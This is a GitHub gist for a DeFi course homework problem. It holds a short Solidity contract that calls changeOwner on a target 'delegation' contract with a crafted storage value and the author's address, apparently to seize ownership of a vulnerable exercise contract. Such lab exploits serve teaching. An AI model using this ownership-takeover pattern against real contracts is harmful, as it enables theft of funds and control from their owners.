Created
November 3, 2023 08:21
-
-
Save bob1113/b67a8b561579026a920bfc8d1d6a7e75 to your computer and use it in GitHub Desktop.
DeFi HW3 Problem 3
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.0; | |
// SPDX-License-Identifier: MIT | |
contract Interaction { | |
address public sw = 0x5008C5a0167462D2DBE3c90A5f65309aBdCE9EAb; | |
bytes32 public _s = 0x0000000000000000000000015008c5a0167462d2dbe3c90a5f65309abdce9eab; | |
function doResolve(address _delegationAddr) public { | |
(bool result, ) = _delegationAddr.call(abi.encodeWithSignature("changeOwner(bytes32,address)", _s, sw)); | |
require(result, "haha"); | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment